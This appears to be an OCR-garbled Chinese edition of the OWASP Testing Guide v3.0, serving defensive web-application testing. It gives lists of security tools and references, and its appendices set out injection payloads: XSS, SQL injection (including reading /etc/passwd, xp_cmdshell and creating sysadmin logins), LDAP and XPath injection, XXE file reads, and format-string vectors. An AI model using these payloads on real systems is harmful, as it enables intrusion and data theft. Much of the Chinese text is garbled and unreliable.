fE L rh, WREME N, BOREEN R, PTELNAEEOR S RL, AR B . AR AR R, Mk
G5 S SR B, BT DAEAR (0 TR P e AR 3R A1 e AU DA o0l T 0 XSG A T, Ol e ] PRl 55 Y
AR R AT PR 2 O T S RO S AL 55 A A A R PR A OGS R TR . R BRI S A AT e o S B
R HIUPAEAE R 55 2R 22 A4 2 T Z AE AT RIELA .

SR 5 YU R EBE RN AR
FERSAR K F R P AT U 3R S AR AR I EAT AR 73 R 5, R B S AN EE N A L e 201

Ko —MRIEOUT, ARNAZE SCME SRR B ™ B ARG o BIAEAE 52 0 JRURS: R HE FE AN HRAR A, 3K S8 A TR Y
A DU TN AR B AT K HE B o

350




OWASP JUiX$5 4 v3.0

ICAEARITAT RS BB R, ATLERURAOGE T ORI, 1 FLERAE 5 2% A A PO e Rk o BN . 41
i, R T 2N 100,000 JETC LS 2,000 KT /A HIKTE, X RLAHTEL 50 SRR A R (R BEBE A . H
VA P REIE A AR E, BT HIRRE L .

IR 60 S TR 1 XS 5y G A T

AN PHELSE AT A BN 5 E IR, R R R R RGN . A E SRR RE 4 AT & AT
KA LA RS AR o WERBATAEH] N SBLAIBEAL, AR0] RE AL AR 2 N TR I8 U 0 R AR . A7 L
T3 IR RAG TR ARG NAR K EA

EYIITSES
RAT LAKE I AS [ ) PR K S 4 R Rl TR AL SUT L R, fildn, — A FEFN IR o] R 28 noe Tt A
Heel oy A5 TR PR 38— ZE 4 AT e 5 B0 0% T+ 05 T N el A5 R e R 3R . (R R] et A 9 e

PEIRIER, 90 0 B0k AR IS L s SR R i L
S fhl 32 15

BN AR LA BEI, A QSR AR A AR B 5% 5 ] 7 I LI, ) n] DAY A 2. i, A6 HIAS
[7i F) BN A 7 3 X AN ] 70 A B IR iy 44 o (st ) DU g AN G S06F T2 10 70 580 0 153 20 B B U B A2 R A Y
PHERID RS — R R R AR LU ARRT DU A0 8 1E 2 BOR B A @ R

WEREE

IR E AN R AR A SR T B ARR] DU 2 R DRI B 7 AR s R IR L R 25 BN 2. il T
PR EAL I — IR, XA AT S R % A NIRRT AT (A 38 Ao R, T DU 5 R0
SRR SRS HEAT ) AR R I AN

5%
= NIST 800-30 Risk Management Guide for Information Technology Systems [1]
= AS/NZS 4360 Risk Management [2]
=  Industry standard vulnerability severity and risk rankings (CVSS) [3]
= Security-enhancing process models (CLASP) [4]
=  Microsoft Web Application Security Frame [5]
= Security In The Software Lifecycle from DHS [6]
=  Threat Risk Modeling [7]
= Pratical Threat Analysis [8]
= A Platform for Risk Analysis of Security Critical Systems [9]
=  Model-driven Development and Analysis of Secure Information Systems [10]

=  Value Driven Security Threat Modeling Based on Attack Path Analysis[11
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Bfs A I TR

T & I TR

— AR
e  OWASP WebScarab
e OWASP CAL9000: CAL9000 /& M3 W a1 T HAR S, & rl LMERS T2l S m it s, e &f A~ Xss Mty
B, RO A/ A, HTTP 3 SRAE BGRB8, MBS, BshBubmiEas I LR NE.
e  OWASP Pantera Web Assessment Studio Project

®  SPIKE - http://www.immunitysec.com

®  Paros - http://www.parosproxy.org

®  Burp Proxy - http://www.portswigger.net

e Achilles Proxy - http://www.mavensecurity.com/achilles

e  Odysseus Proxy - http://www.wastelands.gen.nz/odysseus/

e  Webstretch Proxy - http://sourceforge.net/projects/webstretch

e  Firefox LiveHTTPHeaders, Tamper Data and Developer Tools - http://www.mozdev.org

®  Sensepost Wikto (Google cached fault-finding) - http://www.sensepost.com/research/wikto/index2.html

Grendel-Scan - http://www.grendel-scan.com

o 22 I 1) 0 3
Flash JU3&,

° OWASP SWFIntruder - http://www.owasp.org/index.php/Category:SWFIntruder,

http://www.mindedsecurity.com/swfintruder.html
AJAX JU,
e  OWASP Sprajax Project
sQL AR
e OWASP sQLiX
e Multiple DBMS SQL Injection tool - SQL Power Injector

e MySQL Blind Injection Bruteforcing, Reversing.org - [sqlbftools]
®  Antonio Parata: Dump Files by SQL inference on Mysql - [SqlDumper]

e  Sqglninja: a SQL Server Injection & Takeover Tool - http://salninja.sourceforge.net

e  Bernardo Damele and Daniele Bellucci: sglmap, a blind SQL injection tool - http://sqlmap.sourceforge.net

e  Absinthe 1.1 (formerly SQLSqueal) - http://www.0x90.org/releases/absinthe/

e SQllnjector - http://www.databasesecurity.com/sql-injector.htm
e  bsqlbf-1.2-th - http://www.514.es
Oracle %,

e  TNS Listener tool (Perl) - http://www.jammed.com/%7Ejwa/hacks/security/tnscmd/tnscmd-doc.html
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https://www.owasp.org/index.php?title=SQL_Power_Injector&action=edit
http://sqlninja.sourceforge.net
http://sqlmap.sourceforge.net
http://www.0x90.org/releases/absinthe/
http://www.databasesecurity.com/sql-injector.htm
http://www.514.es
http://www.jammed.com/%7Ejwa/hacks/security/tnscmd/tnscmd-doc.html

e  Toad for Oracle - http://www.quest.com/toad
SSL i

®  Foundstone SSL Digger - http://www.foundstone.com/resources/proddesc/ssldigger.htm
B IR RS I

e  THCHydra - http://www.thc.org/thc-hydra/

e  John the Ripper - http://www.openwall.com/john/

e  Brutus - http://www.hoobie.net/brutus/

e Medusa - http://www.foofus.net/~jmk/medusa/medusa.html
HTTP J7 AT
e NetCat - http://www.vulnwatch.org/netcat
20 X g R
e  OllyDbg - http://www.ollydbg.de
o "—MET Windows [ T2 4T 9% b DX v R I A0 AR
e  Spike - http://www.immunitysec.com/downloads/SPIKE2.9.tgz
o AT H TR DA RAAT A B I e T A A HE SR
e  Brute Force Binary Tester (BFB) - http://bfbtester.sourceforge.net
o —AEIHN BRI A
®  Metasploit - http://www.metasploit.com/projects/Framework/
o /MR BL LA HE S
Fuzzing T E

e  WSFuzzer

Googling

e  Foundstone Sitedigger (Google cached fault-finding) - http://www.foundstone.com/resources/proddesc/sitedigger.htm

e b 2 G K R

e  Typhon - http://www.ngssoftware.com/products/internet-security/ngs-typhon.php

e  NGSSQuirrelL - http://www.ngssoftware.com/products/database-security/

e  Watchfire AppScan - http://www.watchfire.com

e  (Cenzic Hailstorm - http://www.cenzic.com/products services/cenzic hailstorm.php

e SPI Dynamics Weblnspect - http://www.spidynamics.com

e  Burp Intruder - http://portswigger.net/intruder

e Acunetix Web Vulnerability Scanner - http://www.acunetix.com

e  ScanDo - http://www.kavado.com

e  WebSleuth - http://www.sandsprite.com

®  NT Objectives NTOSpider - http://www.ntobjectives.com/products/ntospider.php

e  Fortify Pen Testing Team Tool - http://www.fortifysoftware.com/products/tester

e  Sandsprite Web Sleuth - http://sandsprite.com/Sleuth/

e  MaxPatrol Security Scanner - http://www.maxpatrol.com

e  Ecyware GreenBlue Inspector - http://www.ecyware.com

e  Parasoft WebKing (more QA-type tool)
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MatriXay - http://www.dbappsecurity.com

N-Stalker Web Application Security Scanner - http://www.nstalker.com
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YA 73 B T H—IT U/ G 2l A

e  OWASP LAPSE

e  PMD - http://pmd.sourceforge.net/

e  FlawFinder - http://www.dwheeler.com/flawfinder

e  Microsoft’s FxCop

e  Splint - http://splint.org

e  Boon - http://www.cs.berkeley.edu/~daw/boon

®  Pscan - http://www.striker.ottawa.on.ca/~aland/pscan

e  FindBugs - http://findbugs.sourceforge.net
PEARHS 43 B T H— Rk 3 A

e  Fortify - http://www.fortifysoftware.com

e Ounce labs Prexis - http://www.ouncelabs.com

e  Veracode - http://www.veracode.com

e  GrammaTech - http://www.grammatech.com

e  ParaSoft - http://www.parasoft.com

e  [TS4 - http://www.cigital.com/its4

e  CodeWizard - http://www.parasoft.com/products/wizard

e  Armorize CodeSecure - http://www.armorize.com/product/

e Checkmarx CxSuite - http://www.checkmarx.com

5o oA T H — I
SO C R T30 E 28 AR P e AT TRIA A ik — R, LI Al A o aUHE sk py il i 2 A
BRG] o 4 R0 73 A AT LAd 3 2 e B[R] It m] DLSAT 22 420K
WATIR - http://wtr.rubyforge.org

O

(@]

—/MET Ruby 19 web MAAKESE, EHEML—MKA Internet Explorer [¥1 54 1H]

A& A T Windows.

HtmlUnit - http://htmlunit.sourceforge.net

o
o

—/NEET Java 1 JUnit FHESE, 1] Apache HttpClient 1y f&46 1T .

MR, WIHCE, SR 2 LT T 1 5 A

jWebUnit - http://jwebunit.sourceforge.net

(@]

—ANEET Java ITCHEZE, {§iH htmiunit 85 selenium 1E IS4,

Canoo Webtest - http://webtest.canoo.com

(@]

O
o
O

AT XML IR TR, 3246 T A htmiunit IR0
WR5E A XML FRE,  BITAS T i A .
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http://wtr.rubyforge.org
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http://jwebunit.sourceforge.net
http://webtest.canoo.com

®  HttpUnit - http://httpunit.sourceforge.net

o H#tt web MIXMELL L —, (Tl AHE IDK AR fE HTTP Ak, 7522 4y 15

e  Watij - http://watij.com

o —“/> WATIR /] Java S<HL.

P 1E AR, RIS T Windows.  (Mozilla 384 IEAEHEAT D

e  Solex - http://solex.sourceforge.net

o MRS HTTP il MR T8 RFATW S I EE LR, X2 4> Eclipse #fift.
e  Selenium - http://www.openga.org/selenium/

o FET JavaScript FIINRAESE, WTES G R A — AN G KBRS .

o HUEAMRATIN T A, {HZf8H JavaScript A fe& W4 E 1AM

LB

e  Rational PurifyPlus - http://www-306.ibm.com/software/awdtools
S

e  BugScam - http://sourceforge.net/projects/bugscam

e  BugScan - http://www.hbgary.com

e  Veracode - http://www.veracode.com
FkEHE
e  Rational Requisite Pro - http://www-306.ibm.com/software/awdtools/reqpro
wh R
e  wget - http://www.gnu.org/software/wget, http://www.interlog.com/~tcharron/wgetwin.html

e  curl - http://curl.haxx.se

e  Sam Spade - http://www.samspade.org

e  Xenu - http://home.snafu.de/tilman/xenulink.html

By % B: HEAF E )

1R A5

= Security in the SDLC (NIST) - http://csrc.nist.gov/publications/nistpubs/800-64/NIST-SP800-64.pdf

= The OWASP Guide to Building Secure Web Applications - http://www.owasp.org/index.php/Category:OWASP_Guide Project

=  The Economic Impacts of Inadequate Infrastructure for Software Testing - http://www.nist.gov/director/prog-ofc/report02-

3.pdf

=  Threats and Countermeasures: Improving Web Application Security -

http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnnetsec/html/threatcounter.asp

=  Web Application Security is Not an Oxy-Moron, by Mark Curphey - http://www.sbg.com/sba/app_security/index.html

= The Security of Applications: Not All Are Created Equal -

http://www.atstake.com/research/reports/acrobat/atstake app unequal.pdf
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The Security of Applications Reloaded - http://www.atstake.com/research/reports/acrobat/atstake _app reloaded.pdf
Use Cases: Just the FAQs and Answers - http://www-
106.ibm.com/developerworks/rational/library/content/RationalEdge/jan03/UseCaseFAQS TheRationalEdge Jan2003.pdf

14

=  JamesS. Tiller: "The Ethical Hack: A Framework for Business Value Penetration Testing", Auerbach, ISBN: 084931609X

=  Susan Young, Dave Aitel: "The Hacker's Handbook: The Strategy behind Breaking into and Defending Networks", Auerbach, ISBN:
0849308887

= Secure Coding, by Mark Graff and Ken Van Wyk, published by O’Reilly, ISBN 0596002424(2003) - http://www.securecoding.org

= Building Secure Software: How to Avoid Security Problems the Right Way, by Gary McGraw and John Viega, published by
Addison-Wesley Pub Co, ISBN 020172152X (2002) - http://www.buildingsecuresoftware.com

= Writing Secure Code, by Mike Howard and David LeBlanc, published by Microsoft Press, ISBN 0735617228 (2003)
http://www.microsoft.com/mspress/books/5957.asp

=  Innocent Code: A Security Wake-Up Call for Web Programmers, by Sverre Huseby, published by John Wiley & Sons, ISBN
0470857447(2004) - http://innocentcode.thathost.com

=  Exploiting Software: How to Break Code, by Gary McGraw and Greg Hoglund, published by Addison-Wesley Pub Co, ISBN
0201786958 (2004) -http://www.exploitingsoftware.com

= Secure Programming for Linux and Unix HOWTO, David Wheeler (2004) - http://www.dwheeler.com/secure-programs

=  Mastering the Requirements Process, by Suzanne Robertson and James Robertsonn, published by Addison-Wesley Professional,
ISBN 0201360462 - http://www.systemsguild.com/GuildSite/Robs/RMPBookPage.html

=  The Unified Modeling Language — A User Guide -
http://www.awprofessional.com/catalog/product.asp?product_id=%7B9A2EC551-6B8D-4EBC-A67E-84B883C6119F%7D

=  Web Applications (Hacking Exposed) by Joel Scambray and Mike Shema, published by McGraw-Hill Osborne Media, ISBN
007222438X

=  Software Testing In The Real World (Acm Press Books) by Edward Kit, published by Addison-Wesley Professional, ISBN
0201877562 (1995)

= Securing Java, by Gary McGraw, Edward W. Felten, published by Wiley, ISBN 047131952X (1999) -
http://www.securingjava.com

- Beizer, Boris, Software Testing Techniques, 2nd Edition, © 1990 International Thomson Computer Press, ISBN 0442206720

A T R

OWASP — http://www.owasp.org

SANS - http://www.sans.org

Secure Coding — http://www.securecoding.org

Secure Coding Guidelines for the .NET Framework -

http://msdn.microsoft.com/security/securecode/bestpractices/default.aspx?pull=/library/en-

us/dnnetsec/html/seccodeguide.asp

Security in the Java platform — http://java.sun.com/security
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http://www.owasp.org/index.php?title=Special:Booksources&isbn=0596002424
http://www.securecoding.org
http://www.owasp.org/index.php?title=Special:Booksources&isbn=020172152X
http://www.buildingsecuresoftware.com
http://www.owasp.org/index.php?title=Special:Booksources&isbn=0735617228
http://www.microsoft.com/mspress/books/5957.asp
http://www.owasp.org/index.php?title=Special:Booksources&isbn=0470857447
http://www.owasp.org/index.php?title=Special:Booksources&isbn=0470857447
http://innocentcode.thathost.com
http://www.owasp.org/index.php?title=Special:Booksources&isbn=0201786958
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http://www.exploitingsoftware.com
http://www.dwheeler.com/secure-programs
http://www.owasp.org/index.php?title=Special:Booksources&isbn=0201360462
http://www.systemsguild.com/GuildSite/Robs/RMPBookPage.html
http://www.awprofessional.com/catalog/product.asp?product_id=%7B9A2EC551-6B8D-4EBC-A67E-84B883C6119F%7D
http://www.owasp.org/index.php?title=Special:Booksources&isbn=007222438X
http://www.owasp.org/index.php?title=Special:Booksources&isbn=007222438X
http://www.owasp.org/index.php?title=Special:Booksources&isbn=0201877562
http://www.owasp.org/index.php?title=Special:Booksources&isbn=0201877562
http://www.owasp.org/index.php?title=Special:Booksources&isbn=047131952X
http://www.securingjava.com
http://www.owasp.org/index.php?title=Special:Booksources&isbn=0442206720
http://www.owasp.org
http://www.sans.org
http://www.securecoding.org
http://msdn.microsoft.com/security/securecode/bestpractices/default.aspx?pull=/library/en-us/dnnetsec/html/seccodeguide.asp
http://msdn.microsoft.com/security/securecode/bestpractices/default.aspx?pull=/library/en-us/dnnetsec/html/seccodeguide.asp
http://java.sun.com/security

€

= OASIS WAS XML — http://www.0oasis-open.org/committees/tc_ home.php?wg abbrev=was

Bf =% C: A 0 i 2

2R LA T WebScarab, JBroFuzz, WSFuzzer, {2 H & dill A6rill TR Al Aerll () 5o il Ror il — A R 5
oL BT, RIS B e I R S e — BOR U, BATT R — DI AR B RS UL, RAE
TR S5 2R o R R Bedwe (] H 8 7 o — H—MERPORIL,  Fi5 I — MR IR I A 2R
I

T ¥ A 0 4 2
TR PP CLEln HTTP (S) ) HAFAE I K :
LI 1= b/ $1 i
DRI = & 7 b e
FALE R 5255 Th Zp AR SCRERI

I A
SRR T LB 2 SO R — A7 S (047 P R A R I B % 137

http://www.example.com/8302fa3b

#HE "8302fa3b” MENEGIWMN (0,1,2,3,4,5,6,7,8,9,a,b,c,d,e, £1XFEN 16 T HIECTERFE P LR SR 138
S RIEATE SR K =R B S 1678 AN U IE K

http://www.example.com/00000000

http://www.example.com/11000fff

http://www.example.com/ffffffff

AT R K

RS ARSI W AR SO R A RN B 0 R SR T AR I R I R o S AMELBRATIAR g S A DN o B
B1

http://www.example.com/8302fa3b

AL PRSI0 e LS sl A AR ok«
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http://www.example.com/>"><script>alert("XSS")</script>&
http://www.example.com/";1--"<XSS>=&{()}

g B BRI B . RIS, 1 R AR KT o 1 AT ) e A
AN SR ARG FIE AR B iR 17 A )

5 3l A it (XSS)

XSS ATV W, Bk P AR o 2

>"><script>alert("XSS")</script>&

"><STYLE>@import"javascript:alert('XSS')";</STYLE>
>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23%72;%26%23x69;%26%23x70;%
26%23x74;%26%23x3a;

alert(%26quot; %26%23x20;X55%26%23x20;Test%26%23x20;Successful%26quot;)>

>%22%27><img%20src%3d%22javascript:alert(%27%20X55%27)%22>
"%ufflcscript%ufflealert('XSS')%ufflc/script%uffle’

"

>
o
" 1--"<XSS>=&{()}

<IMG SRC="javascript:alert('XSS');">

<IMG SRC=javascript:alert('XSS')>

<IMG SRC=JaVaScRiPt:alert('XSS')>

<IMG SRC=JaVaScRiPt:alert(&quot;XSS<WBR>&quot;)>
<IMGSRC=&#106;&#97;&#118;&#97;&<WBR>#115;&#99;&#114;&#105;&#112;&<WBR>#116;&#58;&#97;
&#108;&#101;&<WBR>#114,;&#116;&#40;&#39;&#88;&#83<WBR>;&#83;&#39;&#41>

<IMGSRC=&#0000106&#0000097 &<WBR>#0000118&#0000097&#0000115&<WBR>#0000099&#0000114&#0000105&<WBR>#0000112
&#0000116&#0000058

&<WBR>#0000097&#0000108&#0000101&<WBR>#0000114&#0000116&#0000040&<WBR>#0000039&#0000088&#0000083 &<WBR>#
0000083&#0000039&+#0000041>

<IMGSRC=&#x6A&HX61&#x76&#x61&#x73&<WBR>H#Xx63&#x72 & #X69&H#X70&#x74&#X3AK<WBR>#X61 & #X6C&HXO5 & H#X72 & H#x74&#x28
&<WBR>#x27&H#x58&#x53 &#x53&#x27&#x29>

<IMG SRC="jav&#x09;ascript:alert(<WBR>'XSS');">
<IMG SRC="jav&#x0A;ascript:alert(<WBR>'XSS');">
<IMG SRC="jav&#x0D;ascript:alert(<WBR>'XSS');">

O 1 X R R 5 5 7 o i

ZZ P X %S Y (BFO)
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G2 i D HH B AP SR e T R R SE B, AR i e A P A AT R AT 2 ) i

I 3 44 2045 R X

TR, e NI AR IR 3 oI B R IR s SO ] e £ 3 B0 7 it o
Ax5
Ax17
Ax33
Ax 65
Ax 129
Ax 257
Ax513
Ax 1024
A x 2049
A x 4097
Ax 8193
Ax 12288

R AL AR (FSE)

AL TAF s Bt — 285 PR SRR AR bR LA O IR T A% A 747 s i — SR SR S e A% b i A
KA, & T LARAT = SOPE R AR s R P ot o AL O P 5 5 2 WL RS A AL g O AN

FT FSE IS BN 44 W] LATE— 5 44 4 Detecting Format String Vulnerabilities with Type Qualifiers [ USENIX &3¢ Pk
2,

VR, S NI 3 I O ) 5 SO AT RE 2 T S0 17 i 0t o

%5%p%x%d

.1024d

%.2049d

%p%p%p%p

Y%x%X%X%X

%d%d%d%d

%5%5%5%S

%99999999999s

%08x

%%20d

%%20n

%%20x

%%20s
%5%5%5%5%5%5%5%5%5%S
%p%p%p%pYkp%p%pY%p%p%p
%#0123456x%08x%x%5%p%d%Nn%0%u%Cc%h %|%q %] %2%2%t%i%e%g%f%a%C%S%08%%%
%s x 129

%x x 257
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L HEHOEH (INT)

REHGH B UK A 2 P B T B NSRS B MR T BRI R K, B N T R
(Kydme IMELER IR A o 2R AT v DG RE P AT IR DN AAE IS, 8 LKL 7 AT T R ) 52 B S X i
Rp/ MRS T

-1

0

0x100
0x1000
Ox3fffffff
Ox7ffffffe
Ox7fffffff
0x80000000
Oxfffffffe
Oxffffffff
0x10000
0x100000

sQL A
X RS il L — AN N AR P B R EJ2, e R R DA 2 P NI SQL TR A B R R A%

SQL VE AR I - sQLVE A I Y

SQLIEAZ A LU K, Mt 2 e B (5 2 (Wish) e B sdidiE AR (E3h) .

o Wiz saL A
o TFISQLIEAN

F5) sQU FEANTE R WA TR IR 00 K 3 AT K5 .

#5) sQL VEA (sQP)

'| [ (elt(-3+5,bin(15),0rd(10),hex(char(45))))
|16

'11'6

(116)

'OR 1=1--

OR1=1

'OR'1'="1

;OR'1'='1"
%22+or+isnull%281%2F0%29+%2F*
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%27+0R+%277659%27%3D%277659
%22+or+isnull%281%2F0%29+%2F*

%27+--+

'or 1=1--

"or1=1--

'ori1=1/*

or 1=1--

'or'a'='a

"or"a"="a

'Yor (‘'a'='a

Admin' OR'
'%20SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES--
) UNION SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES;
" having 1=1--

" having 1=1--

' group by userid having 1=1--

' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = tablename')--
'or1in (select @@version)--

' union all select @ @version--

' OR 'unusual' = 'unusual’

' OR 'something' = 'some'+'thing'

" OR 'text' = N'text'

' OR 'something' like 'some%'

'OR2>1

"OR 'text' > 't'

' OR 'whatever' in ('whatever')

'OR 2 BETWEEN 1 and 3

' or username like char(37);

"union select * from users where login = char(114,111,111,116);
"union select

Password:*/=1--

UNI/**/ON SEL/**/ECT

' EXECUTE IMMEDIATE 'SEL' | | 'ECT US' || 'ER

" EXEC ('SEL' + 'ECT US' + 'ER')

"or1/*

+or+isnull%281%2F0%29+%2F*
%27+0R+%277659%27%3D%277659
%22+or+isnull%281%2F0%29+%2F*

%27+--+&password=

'; begin declare @var varchar(8000) set @var=":' select @var=@var+'+login+'/'+password+" ' from users where login >
@var select @var as var into temp end --

"and 1 in (select var from temp)--

"union select 1,load_file('/etc/passwd'),1,1,1;
1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
"and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));
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E4)sal FEA (sal)

'; exec master..xp_cmdshell 'ping 10.10.1.2'--

CRATE USER name IDENTIFIED BY 'pass123'

CRATE USER name IDENTIFIED BY pass123 TEMPORARY TABLESPACE temp DEFAULT TABLESPACE users;

'; drop table temp --

exec sp_addlogin 'name', 'password'

exec sp_addsrvrolemember 'name', 'sysadmin’

INSERT INTO mysql.user (user, host, password) VALUES (‘'name’, 'localhost', PASSWORD('pass123'))

GRANT CONNECT TO name; GRANT RESOURCE TO name;

INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70)
+ char(0x65) + char(0x74) + char(0x65) + char(0x72),char(0x64)

LDAP 7 EA
LDAP = A0 7 JL: LDAP Ji: N 5T

|
!
(

)
%28

%29

&

%26

%21

%7C

*|

%2A%7C

*(1(mail=*))
%2A%28%7C%28mail%3D%2A%29%29
*(| (objectclass=*))
%2A%28%7C%280bjectclass%3D%2A%29%29
*()1%26'

admin*

admin*)((|userPassword=*)
*)uid=*))(| (uid="*

XPATH 1A
XPATH yEAN4I 151 IL: XPath ¥ AT

+or+'1'="1

+or+''=
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0 Lot

x'+or+l=1+or+'x'='y

/

/l

/*

*/*

@*

count(/child::node())
x'+or+name()="'username'+or+'x'="y

XML ¥ A
XML ¥ ENGH T3 W XML IR

<I[CDATA[<script>var n=0;while(true){n++;}</script>]]>

<?xml version="1.0" encoding="1SO-8859-
1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('gotcha');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo>
<?xml version="1.0" encoding="1S0-8859-1"?><foo><![CDATA[' or 1=1 or "="]]></foof>

<?xml version="1.0" encoding="1S0-8859-1"?><IDOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM
"file://c:/boot.ini">]><foo>&xee;</foo>

<?xml version="1.0" encoding="1S0-8859-1"?><IDOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM
"file:///etc/passwd">]><foo>&xee;</foo>

<?xml version="1.0" encoding="1S0-8859-1"?><IDOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM
"file:///etc/shadow">]><foo>&xee;</foo>

<?xml version="1.0" encoding="1S0-8859-1"?><IDOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM
"file:///dev/random">]><foo>&xee;</foo>

Bt D: gAdiEA

==

H

il

FAF G L TALH —FlaE S EHUEAR . A6 R Bl B SRR S 74T . B MR 5o AR AT R
R, WU RO R T ARG S R — st POE, AEESRH T CATE S . R
G e ASCI CRIEME RAZHbrES i) » EAEH 7 ML hs 74 . BLA 5 M AL 2 Unicode (UTF8)

TR AN, ERDIK O R e Tl B R T R, ORI TR VE LSS i A\ i i
DA, B A T A B D RER Bs AL

i N 2 g — 3 dik 1

Web NV P30 5 A AN ) R 2 i A S e LIS BT P mT AR A RN o S0 SR S8 A\ L 2 AT A5 AN 4
FIRESAT P AT X LE L g8 23 P i Web W AU F AN RIS 28 14 i A\ I JEWLARIOR B 71 FH ) T AR AT IR
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RIS NI RS PAT I AN LT, ATRESSA — IS TP NI EEE JERR LI . B, 74T ¢/ AR ASCl R LA
7N 16 BEGIEL 2F, XA FATAE Unicode (2 1R IR TS0 COAF. PRI, A Ao sl e UM AL
ARG A A OE AEW FE . WERIIES OIS ] T A4k UTF 8 ZihdiE N, 8 LAEH] — AR g ST e ¢
XA IR -

BT UL, WAEA T T ARERAE L, s DA RIS A DA T BETCIA S8 S o 98 — D ey, 0 e
o web BT I AT38R 22 IR IR ARRE &

B 1 i 05— MR 5% s 0 N s — 5

Web 3 5585 4 T3 5T H) Bos— A web FUil, 420 S EEALE T g fAial. B b, XA E BN ZEE HTTP Sk
] Content-Type T B WI A, LR 22— M7
Content-Type: text/html; charset=UTF-8

or through HTML META tag (“META HTTP-EQUIV”), as shown below:
<META http-equiv="Content-Type" content="text/html; charset=IS0-8859-1">

Tt 7B, SRS B T AR R M AR N NOZAE W A g At . R FE HTTP kPR B A AR EL L
META Frid B AL e s

CERT XAl 17 4 538 (LA T A i) -

VR W TR E X FIT405 (HTTP 1 "charset "Z40) o 7ESEHIEG HTML 1 HTTP JRASH, A1 R-F 75 9 050547 7€
X, TWERIA g 1SO-8859-1. SEfF L, PFZ NG ASHA H CHIECAE, BT LIS BEHT T ERINME — & 150-8859-1.
HTML 55 4 JHAE . WIRFFFGitd 5 2 X B AATA] F 179t 48 nf LG EH

Wk web R 5545 BCAT 1 € AT B2 MR A A, EASRESR RS P AF IR N o IIAT AT 2 745 i M 00K 22 4
A CARIEH, RPN TN T 128 I I EI AR R 745 o (HIRLLER T 128 (PR 2 HRF IR A ?
8 16 (07 g AR N T < IRE IR IR A AT BTN 22 7 1T Rk o Lo B RE VR I 28 = SO (1 20 i 6 AR
RN o X2 “IERN” AT, ARE AL BIA R ety SR XE AR o 25 8% AR AN B I 28 745 F 51 3R
NRIR AT AR

DR A B AT IR 55 A OB 7 A G A e B KGO 1 5 300 W 88 o 00 2 A o o A P A BRI A2 O
s I IR HCRE D AR (R ER A S B 10 DA o B RIS AT I 50 CIRS5-45% ) M L2 76 A P ) G RS
AN EREHR R] BE 2 T B0 VT SR TR N, @ R BB A RO 45 3L

ZRTHEN

TS H FI35 S AUOE 2 1] LRI F SR S N I S S B iR T I — . [RIRE,  GaAgyds N 15 Tt K 8 T B
{FH YA o B, US-ASCH Fafidyd A LRI LFE IE S Saas h/ER, mix) FireFox JCRK. BRIk, FRATTAILAUE, 4uhth
TENFEAR KRR L b AR T4 52 PR30 W 8 o

Tl
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€

Bl —AHELRS S FARE A R A IR R e g . FERXAIGOUN, R IRIE AR R S Seid i vk 25

<SCRIPT>alert (String.fromCharCode (88,83,83))</SCRIPT>

Javascript B %{ String.fromCharCode 183 25 %€ [] Unicode {E KR [MIAH RN 457 Hr o 302 — N EdE AR TE X gy A
Ty AT LA SR Ge i o g8 1) 1) 100«

<IMG SRC=javascript:alert (&quot ;XSS&quot ;)>

<IMG SRC=javascript:alert (&#34 ;XSS&#34 ;)> (Numeric reference)

TR T HTML Entities SRR EEE N F4F . HTML Entities Zwb5 H T Bos e HTML T 0 & X545 i,
SN HTML BRoR /2 45 R 65 b 7 B i B BoR XA 757, D E T P& HTML PR sk, X b
B4 N AN e L L7 T LUy s WD g S S S/ (5 A1 Y Iy = W L 5 S I o i = B 20 CEB U I 1 (TSI 2 7 o 5 I D S B £

16 BEHIgRIE
Hex s& Hexadecimal 145 S, Xsa&—A> 16 BEHIM RS, AN 02 9 I A B FIX 16 MEKRK AR M FRF. Hex
et 2 Y — P TR, AN H SRS M N IEIL pE RS . Blan, X545 5 <IMG SRC=javascript:alert('XSS')> [ 16
et

<IMG SRC=%6A%61%76%61%73%63%72%69%70%74%3A%61%6C%65%72%74%28%27%58%53%53%27%29>

IR AT A AN RRU T B, AT DU TAE AT % O BRI

<IMG
SRC=&#xX0A&#x61&#XT0&#xX01&#xTI3&#X036#xT26#x09&#xT0e#xTA&HX3A&H# X061 &H#XOCEHXO656#XxT284#xTA&#x286#x2
T&Hx58&#x536#x53&#x27&#x29>

WA H e BN Base6s A\ HERIH 4 A REH] TRV . BEAREEFN AN AT RERERHR AR ], —LRHE I e R 2
I 2 e A4 e HH R AT AN I O i A B E I B s PR IR

UTF-7 4if4

UTF-7 X} <SCRIPT>alert(‘XSS’);</SCRIPT> [{) 4w At i1 T -

+ADw-SCRIPT+AD4-alert ('XSS') ; +ADw-/SCRIPT+AD4~
N TAE IR BAA AR, SRS R AL ] UTF-7 SRt R iRe I L
2R

ARG T AL IANE K AR R G b5 75 IR A oo 2 7 1 i i — P R 2R A 1) 7 O R s 7 1
(AR GRS . 2 7 G 1 2 T KPR P AP AT A, GIanpaE, HiIEMeEes

Z T g PRSI AR R AN RAIE I DAY, ATEE A TG L sQu ik ALt
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http://ha.ckers.org/xss.html

http://www.cert.org/tech tips/malicious code mitigation.html

http://www.w3schools.com/HTML/html_entities.asp

http://www.iss.net/security center/advice/Intrusions/2000639/default.htm

http://searchsecurity.techtarget.com/expert/KnowledgebaseAnswer/0,289625,sid14 gcil212217 tax299989,00.html

http://www.joelonsoftware.com/articles/Unicode.html
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